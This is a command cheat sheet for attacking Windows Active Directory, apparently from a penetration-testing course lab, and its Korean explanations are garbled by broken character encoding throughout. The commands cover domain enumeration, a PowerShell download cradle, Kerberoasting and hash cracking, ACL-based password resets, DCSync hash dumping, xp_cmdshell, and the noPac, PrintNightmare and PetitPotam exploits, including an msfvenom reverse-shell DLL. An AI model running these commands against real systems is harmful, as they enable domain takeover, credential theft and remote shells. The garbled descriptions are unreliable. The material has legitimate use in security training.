Find-LocalAdminAccess
νμ¬ μ¬μ©μκ° λ‘컬 κ΄λ¦¬μ μ‘μΈμ€ κΆνμ κ°κ³ μλ λ‘컬 λλ©μΈμμ μ»΄ν¨ν°λ₯Ό μ°Ύλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈ Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainTrust
νμ¬ λλ©μΈ λλ μ§μ λ λλ©μΈμ λν λλ©μΈ νΈλ¬μ€νΈλ₯Ό λ°ννλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ForestTrust
νμ¬ ν¬λ¦¬μ€νΈ λλ μ§μ λ ν¬λ¦¬μ€νΈμ λν λͺ¨λ ν¬λ¦¬μ€νΈ νΈλ¬μ€νΈλ₯Ό λ°ννλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainForeignUser
μ¬μ©μ λλ©μΈ μΈλΆ κ·Έλ£Ήμ μλ μ¬μ©μλ₯Ό μ΄κ±°νλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainForeignGroupMember
κ·Έλ£Ή λλ©μΈ μΈλΆμ μ¬μ©μκ° ν¬ν¨λ κ·Έλ£Ήμ μ΄κ±°νκ³ κ° μΈλΆ ꡬμ±μμ λ°ννλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainTrustMapping
νμ¬ λλ©μΈκ³Ό κΈ°ν νμλ λͺ¨λ νΈλ¬μ€νΈλ₯Ό μ΄κ±°νλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
"Domain Admins"
λ°λ³΅ μ΅μ
( )μ μ¬μ©νμ¬ λμ κ·Έλ£Ή( )μ λͺ¨λ ꡬμ±μμ λμ΄νλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ -Recurse
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
μΈνΈ κ° μλ λμ Windows λλ©μΈμμ μ¬μ©μλ₯Ό μ°Ύλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ Service Principal Name
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data
Snaffler
μμλ κ³μ μ΄ μ‘μΈμ€ν μ μλ 곡μ μμ λ€μν μ’
λ₯μ λ°μ΄ν°λ₯Ό μ°Ύλ λμ Windows λλ©μΈμ λν΄ νΈμΆλλ λꡬλ₯Ό μ€νν©λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
νμΌ μ μ‘ μ€
λͺ λ Ή
μ€λͺ
sudo python3 -m http.server 8001
λΉ λ₯Έ νμΌ νΈμ€ν μ μν΄ Python μΉ μλ²λ₯Ό μμν©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')"
μΉ μλ²μμ νμΌμ λ€μ΄λ‘λνλ λ° μ¬μ©λλ PowerShell ν μ€μ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> .\SharpHound.exe -c All --zipFilename ILFREIGHT
SharpHound μ€ν
. .\SharpHound.ps1 #sharphoundλ₯Ό νμ¬ μΈμ μ μ λΆλ¬λλ¦Ό
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
SharpHound.ps1 μ€ν
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/
SMB
νμΌμ λΉ λ₯Έ νΈμ€ν
μ μν΄ impacket μλ²λ₯Ό μμν©λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
μ»€λ² λ‘μ€ν
λͺ λ Ή
μ€λͺ
sudo python3 -m pip install .
곡격 νΈμ€νΈμ 볡μ λλ λλ ν°λ¦¬ λ΄λΆμμ Impacketμ μ€μΉνλ λ° μ¬μ©λ©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
GetUserSPNs.py -h
GetUserSPNs.py
Linux κΈ°λ° νΈμ€νΈ μ μ΅μ
κ³Ό κΈ°λ₯μ νμνλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday
SPNs
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈ μ λͺ©λ‘μ κ°μ Έμ€λ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request
-request
Linux κΈ°λ° νΈμ€νΈμμ μ€νλΌμΈ μ²λ¦¬λ₯Ό μν΄ λͺ¨λ TGS ν°μΌμ λ€μ΄λ‘λ/μμ²( )νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev
Linux κΈ°λ° νΈμ€νΈμμ -request-user
νΉμ μ¬μ©μ κ³μ ( )μ λν TGS ν°μΌμ λ€μ΄λ‘λ/μμ²( )νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .sqldev
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs
νΉμ μ¬μ©μ κ³μ μ λν TGS ν°μΌμ λ€μ΄λ‘λ/μμ²νκ³ νμΌ( -outputfile sqldev_tgs
) Linux κΈ°λ° νΈμ€νΈμ ν°μΌμ μ°λ λ° μ¬μ©λλ Impacket λꡬμ
λλ€.
for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
userλͺ©λ‘μ μλ λλ©μΈ μ μ λ‘ AS-REPλ‘μ€ν νλ λ°©λ²(Linux)
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force
Linux κΈ°λ° νΈμ€νΈμμ λ¨μ΄ λͺ©λ‘( )μ μ¬μ©νμ¬ Kerberos( -m 13100
) ν°μΌ ν΄μ( ) ν¬λμ μλν©λλ€.sqldev_tgshashcatrockyou.txt
setspn.exe -Q */*
SPNs
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ .
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Windows κΈ°λ° νΈμ€νΈμμ νΉμ μ¬μ©μμ TGS ν°μΌμ λ€μ΄λ‘λ/μμ²νλ λ° μ¬μ©λλ PowerShell μ€ν¬λ¦½νΈμ λλ€.
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
WIndows κΈ°λ° νΈμ€νΈμμ λͺ¨λ TGS ν°μΌμ λ€μ΄λ‘λ/μμ²νλ λ° μ¬μ©λ©λλ€.
mimikatz # base64 /out:true
Mimikatzbase64
TGS ν°μΌμ΄ Windows κΈ°λ° νΈμ€νΈμμ νμ μΌλ‘ μΆμΆλλλ‘ νλ λͺ
λ Ήμ
λλ€ .
kerberos::list /export
Mimikatz
Windows κΈ°λ° νΈμ€νΈμμ TGS ν°μΌμ μΆμΆνλ λ° μ¬μ©λλ λͺ
λ Ήμ
λλ€.
echo "<base64 blob>" | tr -d \
Linux κΈ°λ° νΈμ€νΈμμ ν¬λνΉνκΈ° μν΄ base64 νμμ TGS ν°μΌμ μ€λΉνλ λ° μ¬μ©λ©λλ€.
cat encoded_file | base64 -d > sqldev.kirbi
Linux κΈ°λ° νΈμ€νΈμμ νμΌ( encoded_file
)μ base64( ) νμμ .kirbi νμΌλ‘ μΆλ ₯νλ λ° μ¬μ©λ©λλ€.base64 -d > sqldev.kirbi
python2.7 kirbi2john.py sqldev.kirbi
λ₯Ό μΆμΆνλ λ° μ¬μ©λ©λλ€ Kerberos ticket
. λν crack_file
Linux κΈ°λ° νΈμ€νΈμμ νΈμΆλλ νμΌλ μμ±λ©λλ€ .
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Linux κΈ°λ° νΈμ€νΈμμ crack_file
λ₯Ό μμ νλ λ° μ¬μ©λ©λλ€ .Hashcat
cat sqldev_tgs_hashcat
Linux κΈ°λ° νΈμ€νΈμμ μ€λΉλ ν΄μλ₯Ό 보λ λ° μ¬μ©λ©λλ€.
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Linux κΈ°λ° νΈμ€νΈμμ sqldev_tgs_hashcat
λ¨μ΄ λͺ©λ‘( )μ μ¬μ©νμ¬ μ€λΉλ Kerberos ν°μΌ ν΄μ( )λ₯Ό ν¬λνλ λ° μ¬μ©λ©λλ€ .rockyou.txt
Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname
PowerView λꡬλ₯Ό μ¬μ©νμ¬ TGS Tickets
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
νΉμ ν°μΌμ TGS ν°μΌμ λ€μ΄λ‘λ/μμ²νκ³ Hashcat
Windows κΈ°λ° νΈμ€νΈμμ μλμΌλ‘ ν¬λ§·νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€.
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
Windows κΈ°λ° νΈμ€νΈμμ λͺ¨λ TGS ν°μΌμ .CSV
νμΌ( )λ‘ λ΄λ³΄λ
λλ€.ilfreight_tgs.csv
cat .\ilfreight_tgs.csv
Windows κΈ°λ° νΈμ€νΈμμ .csv νμΌμ λ΄μ©μ 보λ λ° μ¬μ©λ©λλ€.
.\Rubeus.exe
λκ΅¬λ‘ κ°λ₯ν μ΅μ
κ³Ό κΈ°λ₯μ 보λ λ° μ¬μ©λ©λλ€ Rubeus
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
.\Rubeus.exe kerberoast /stats
/stats
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈ λ΄μ kerberoast ν΅κ³( )λ₯Ό νμΈνλ λ° μ¬μ©λ©λλ€ .
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
admin
κ°μκ° μ€μ λ κ³μ μ λν TGS ν°μΌμ μμ²/λ€μ΄λ‘λν 1
λ€μ μ½κ² λ³΄κ³ ν¬λν μ μλ λ°©μμΌλ‘ μΆλ ₯ νμμ μ§μ νλ λ° μ¬μ©λ©λλ€( /nowrap
). Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
.\Rubeus.exe kerberoast /user:testspn /nowrap
νΉμ μ¬μ©μ( /user:testspn
)μ λν TGS ν°μΌμ μμ²/λ€μ΄λ‘λνλ λ° μ¬μ©λλ©° 보기 μ½κ³ ν¬λ λ°©μμΌλ‘ μΆλ ₯ νμμ μ§μ ν©λλ€( /nowrap
). Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
msDS-SupportedEncryptionType
νΉμ μ¬μ©μ κ³μ ( )κ³Ό κ΄λ ¨λ μμ±μ νμΈνλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ testspn
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
rockyou.txt
Linux κΈ°λ° νΈμ€νΈμμ λ¨μ΄ λͺ©λ‘( )μ μ¬μ©νμ¬ ν°μΌ ν΄μλ₯Ό ν΄λ
νλ λ° μ¬μ©λ©λλ€ .
ACL μ΄κ±° λ° μ μ
λͺ λ Ή
μ€λͺ
Find-InterestingDomainAcl
Windows κΈ°λ° νΈμ€νΈμ κΈ°λ³Έ μ 곡 κ°μ²΄μ λν μμ κΆνμ΄ μ€μ λ λμ Windows λλ©μΈμμ κ°μ²΄ ACLμ μ°Ύλ λ° μ¬μ©λλ PowerView λꡬμ λλ€.
Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley
PowerViewλ₯Ό κ°μ Έμ€κ³ Windows κΈ°λ° νΈμ€νΈμμ SID
νΉμ μ¬μ©μ κ³μ ( )μ κ²μνλ λ° μ¬μ©λ©λλ€.wley
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
μ¬μ©μλ₯Ό Windows κΈ°λ° νΈμ€νΈμ μμ±μ λ§€ννμ¬ μ¬μ©μμκ² κΆνμ΄ μλ λͺ¨λ Windows λλ©μΈ κ°μ²΄λ₯Ό μ°Ύλ λ° μ¬μ©λ©λλ€ SID
.SecurityIdentifier
$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl
μλ°©ν₯ κ²μμ μννκ³ GUID
Windows κΈ°λ° νΈμ€νΈμ κ°μ λ§€ννλ λ° μ¬μ©λ©λλ€.
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
-ResolveGUIDs
Windows κΈ°λ° νΈμ€νΈμμ GUID( )λ₯Ό κΈ°λ°μΌλ‘ κ²μμ μννμ¬ λλ©μΈ κ°μ²΄μ ACLμ κ²μνλ λ° μ¬μ©λ©λλ€ .
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
λμ Windows λλ©μΈμμ μ¬μ©μ κ³μ κ·Έλ£Ήμ κ²μνκ³ ad_users.txt
Windows κΈ°λ° νΈμ€νΈμ ν
μ€νΈ νμΌ( )μ μΆλ ₯μ μΆκ°νλ λ° μ¬μ©λ©λλ€.
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
foreach loop
ν
μ€νΈ νμΌ( ad_users.txt
) μ κ° λͺ©λ‘μ Get-ADUser
cmdletμ μ
λ ₯νμ¬ λμ Windows λλ©μΈμ κ° λλ©μΈ μ¬μ©μμ λν ACL μ 보λ₯Ό κ²μν λ€μ ν΄λΉ μ¬μ©μμ μ‘μΈμ€ κΆνμ μ΄κ±°νλ λ° μ¬μ© λ©λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
PSCredential Object
Windows κΈ°λ° νΈμ€νΈμμ λ₯Ό μμ±νλ λ° μ¬μ©λ©λλ€ .
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
SecureString Object
Windows κΈ°λ° νΈμ€νΈμμ λ₯Ό μμ±νλ λ° μ¬μ©λ©λλ€ .
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
damundsen
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ νΉμ μ¬μ©μ( )μ λΉλ°λ²νΈλ₯Ό λ³κ²½νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
Help Desk Level 1
Windows κΈ°λ° νΈμ€νΈμμ λμ 보μ κ·Έλ£Ή( )μ ꡬμ±μμ 보λ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ damundsen
νΉμ 보μ κ·Έλ£Ή( )μ νΉμ μ¬μ©μ( )λ₯Ό μΆκ°νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .Help Desk Level 1
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
νΉμ 보μ κ·Έλ£Ή( )μ ꡬμ±μμ λ³΄κ³ Windows κΈ°λ° νΈμ€νΈμμ κ·Έλ£Ήμ Help Desk Level 1
κ° κ΅¬μ±μ( )μ μ¬μ©μ μ΄λ¦λ§ μΆλ ₯νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€.Select MemberName
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
PowerView λꡬλ Windows κΈ°λ° νΈμ€νΈμ Service Principal Name
sepecift μ¬μ©μ( )μ λν΄ κ°μ§λ₯Ό μμ±νλ λ° μ¬μ©λμμ΅λλ€ .adunn
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
Service Principal Name
Windows κΈ°λ° νΈμ€νΈμμ 곡격 μ€μ μμ±λ κ°μ§λ₯Ό μ κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
Windows κΈ°λ° νΈμ€νΈμ damundsent
νΉμ 보μ κ·Έλ£Ή( )μμ νΉμ μ¬μ©μ( )λ₯Ό μ κ±°νλ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ .Help Desk Level 1
ConvertFrom-SddlString
SDDL string
μ½μ μ μλ νμμΌλ‘ λ³ννλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
DCSync
λͺ λ Ή
μ€λͺ
Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol |fl
adunn
λμ Windows λλ©μΈμμ νΉμ μ¬μ©μ( )μ κ·Έλ£Ή λ©€λ²μμ 보λ λ° μ¬μ©λλ PowerView λꡬμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
μ¬μ©μ κ³μ μ SIDμ λμΌνκ² μ€μ λλ SIDλΌλ λ³μλ₯Ό λ§λλ λ° μ¬μ©λ©λλ€. κ·Έλ° λ€μ PowerView λꡬλ₯Ό μ¬μ©νμ¬ Get-ObjectAcl
νΉμ μ¬μ©μμ 볡μ κΆνμ νμΈν©λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss
λμ λλ©μΈ 컨νΈλ‘€λ¬μ νΈμ€ν
λ NTDS.dit νμΌμμ NTLM ν΄μλ₯Ό μΆμΆνκ³ ( 172.16.5.5
) μΆμΆλ ν΄μλ₯Ό νμΌ( inlanefreight_hashes
)μ μ μ₯νλ Impacket λꡬ sedμ
λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Windows κΈ°λ° νΈμ€νΈμμ 곡격μ Mimikatz
μννλ λ° μ¬μ©λ©λλ€ .dcsync
νΉκΆ μ‘μΈμ€
λͺ λ Ή
μ€λͺ
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
Windows κΈ°λ° νΈμ€νΈμμ Remote Desktop Users
Windows λμ( )μ κ·Έλ£Ήμ μ΄κ±°νλ λ° μ¬μ©λλ PowerView κΈ°λ° λꡬμ
λλ€ .-ComputerName ACADEMY-EA-MS01
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
Windows κΈ°λ° νΈμ€νΈμμ Remote Management Users
Windows λμ( )μ κ·Έλ£Ήμ μ΄κ±°νλ λ° μ¬μ©λλ PowerView κΈ°λ° λꡬμ
λλ€ .-ComputerName ACADEMY-EA-MS01
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
Windows κΈ°λ° νΈμ€νΈμμ μ¬μ©μμ $password
λΉλ°λ²νΈ( )μ λμΌνκ² μ€μ λ λ³μ( )λ₯Ό μμ±ν©λλ€ .Klmcargo2
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Windows κΈ°λ° νΈμ€νΈμμ λμ λλ©μΈ κ³μ μ $cred
μ¬μ©μ μ΄λ¦( forend
) λ° λΉλ°λ²νΈ( )μ λμΌνκ² μ€μ λ λ³μ( )λ₯Ό μμ±ν©λλ€ .$password
Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred
PowerShell cmd-letμ μ¬μ©νμ¬ Windows κΈ°λ° νΈμ€νΈμμ Enter-PSSession
λ€νΈμν¬( )λ₯Ό ν΅ν΄ λμκ³Ό PowerShell μΈμ
μ μ€μ ν©λλ€ . -ComputerName ACADEMY-EA-DB01
μ΄μ μ νμλ 2κ°μ λͺ
λ Ή( $cred
& $password
)μΌλ‘ λ§λ μ격 μ¦λͺ
μ μ¬μ©νμ¬ μΈμ¦ν©λλ€.
evil-winrm -i 10.129.201.234 -u forend
.NETμ μ¬μ©νμ¬ Linux κΈ°λ° νΈμ€νΈμμ Windows λμκ³Ό PowerShell μΈμ
μ μ€μ νλ λ° μ¬μ©λ©λλ€ WinRM
.
Import-Module .\PowerUpSQL.ps1
λꡬ λ₯Ό κ°μ Έμ€λ λ° μ¬μ©λ©λλ€ PowerUpSQL
.
Get-SQLInstanceDomain
Windows κΈ°λ° νΈμ€νΈμμ SQL μλ² μΈμ€ν΄μ€λ₯Ό μ΄κ±°νλ λ° μ¬μ©λλ PowerUpSQL λꡬμ λλ€.
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
SQL μλ²μ μ°κ²°νκ³ -query 'Select @@version'
Windows κΈ°λ° νΈμ€νΈμμ λ²μ ( )μ 쿼리νλ λ° μ¬μ©λλ PowerUpSQL λꡬμ
λλ€.
mssqlclient.py
mssqlclient.py
Linux κΈ°λ° νΈμ€νΈμμ μ 곡λλ κΈ°λ₯κ³Ό μ΅μ
μ νμνλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ .
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Linux κΈ°λ° νΈμ€νΈμμ MSSQL μλ²μ μ°κ²°νλ λ° μ¬μ©λλ Impacket λꡬμ λλ€.
SQL> help
MSSQL μλ²μ μ°κ²°λλ©΄ mssqlclient.py μ΅μ μ νμνλ λ° μ¬μ©λ©λλ€.
SQL> enable_xp_cmdshell
xp_cmdshell stored procedure
Linux κΈ°λ° νΈμ€νΈμμ λ°μ΄ν°λ² μ΄μ€λ₯Ό ν΅ν΄ OS λͺ
λ Ήμ μ€νν μ μλλ‘ νμ±ννλ λ° μ¬μ©λ©λλ€ .
xp_cmdshell whoami /priv
λ₯Ό μ¬μ©νμ¬ μμ€ν
μ λν κΆνμ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ xp_cmdshell
.
λ
Έν
λͺ λ Ή
μ€λͺ
sudo git clone https://github.com/Ridter/noPac.git
gitμ μ¬μ©νμ¬ μ΅μ€νλ‘μμ 볡μ νλ λ° μ¬μ©λ©λλ€ noPac
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
λμ μμ€ν
μ΄ Linux κΈ°λ° νΈμ€νΈμ μ·¨μ½ν scanner.py
μ§ νμΈνκΈ° μν΄ μ€νλ©λλ€ .noPacSam_The_Admin
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
noPac
/ μ·¨μ½μ μ μ
μ© Sam_The_Admin
νκ³ SYSTEM μ( -shell
)μ μ»λ λ° μ¬μ©λ©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
noPac
/ Sam_The_Admin
μ·¨μ½μ μ μ
μ© νκ³ DCSync
Linux κΈ°λ° νΈμ€νΈμ λλ©μΈ 컨νΈλ‘€λ¬μ λ΄μ₯λ κ΄λ¦¬μ κ³μ μ λν 곡격μ μννλ λ° μ¬μ©λ©λλ€.
μΈμμ
λͺ½
λͺ λ Ή
μ€λͺ
git clone https://github.com/cube0x0/CVE-2021-1675.git
Linux κΈ°λ° νΈμ€νΈμμ gitμ μ¬μ©νμ¬ PrintNightmare μ΅μ€νλ‘μμ 볡μ νλ λ° μ¬μ©λ©λλ€.
pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install
μ΅μ€νλ‘μ μμ±μμ ( cube0x0
) λ²μ μ Impacketμ΄ μ€μΉλμ΄ μλμ§ νμΈνλ λ° μ¬μ©λ©λλ€. κ·Έλ¬λ©΄ Linux κΈ°λ° νΈμ€νΈμμ μ΄μ Impacket λ²μ λ μ κ±°λ©λλ€.
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
Windows λμμ΄ Linux κΈ°λ° νΈμ€νΈμμ λ
ΈμΆ MS-PAR
λμλμ§ νμΈνλ λ° μ¬μ©λ©λλ€.MSRPRN
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll
μ Έ μΈμ μ μ»κΈ° μν΄ μ΅μ€νλ‘μμμ μ¬μ©ν DLL νμ΄λ‘λλ₯Ό μμ±νλ λ° μ¬μ©λ©λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
CompData
SMB μλ²λ₯Ό μμ±νκ³ λ‘컬 Linux νΈμ€νΈμ μ§μ λ μμΉμ 곡μ ν΄λ( )λ₯Ό νΈμ€ν
νλ λ° μ¬μ©λ©λλ€ . μ΄λ μ΅μ€νλ‘μμ΄ νΈμ€νΈμ λ€μ΄λ‘λλ₯Ό μλνλ DLL νμ΄λ‘λλ₯Ό νΈμ€ν
νλ λ° μ¬μ©λ μ μμ΅λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll'
μ΅μ€νλ‘μμ μ€ννκ³ DLL νμ΄λ‘λμ μμΉλ₯Ό ββμ§μ ν©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
μλ ν¬ν
λͺ λ Ή
μ€λͺ
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
NTLM relay
νΈμ€νΈ μ λν μΉ λ±λ‘ URLμ μ§μ νμ¬ μμ±νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ Certificate Authority
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
git clone https://github.com/topotam/PetitPotam.git
gitμ μ¬μ©νμ¬ μ΅μ€νλ‘μμ 볡μ νλ λ° μ¬μ©λ©λλ€ PetitPotam
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
python3 PetitPotam.py 172.16.5.225 172.16.5.5
곡격 νΈμ€νΈ( 172.16.5.255
)μ λμ λλ©μΈ 컨νΈλ‘€λ¬( 172.16.5.5
)μ IP μ£Όμλ₯Ό μ§μ νμ¬ PetitPotam μ΅μ€νλ‘μμ μ€ννλ λ° μ¬μ©λ©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache
.pyλ₯Ό μ¬μ©νμ¬ Linux κΈ°λ° νΈμ€νΈμμ gettgtpkinit
λλ©μΈ 컨νΈλ‘€λ¬( )μ λν TGT ν°μΌμ μμ²ν©λλ€ .dc01.ccache
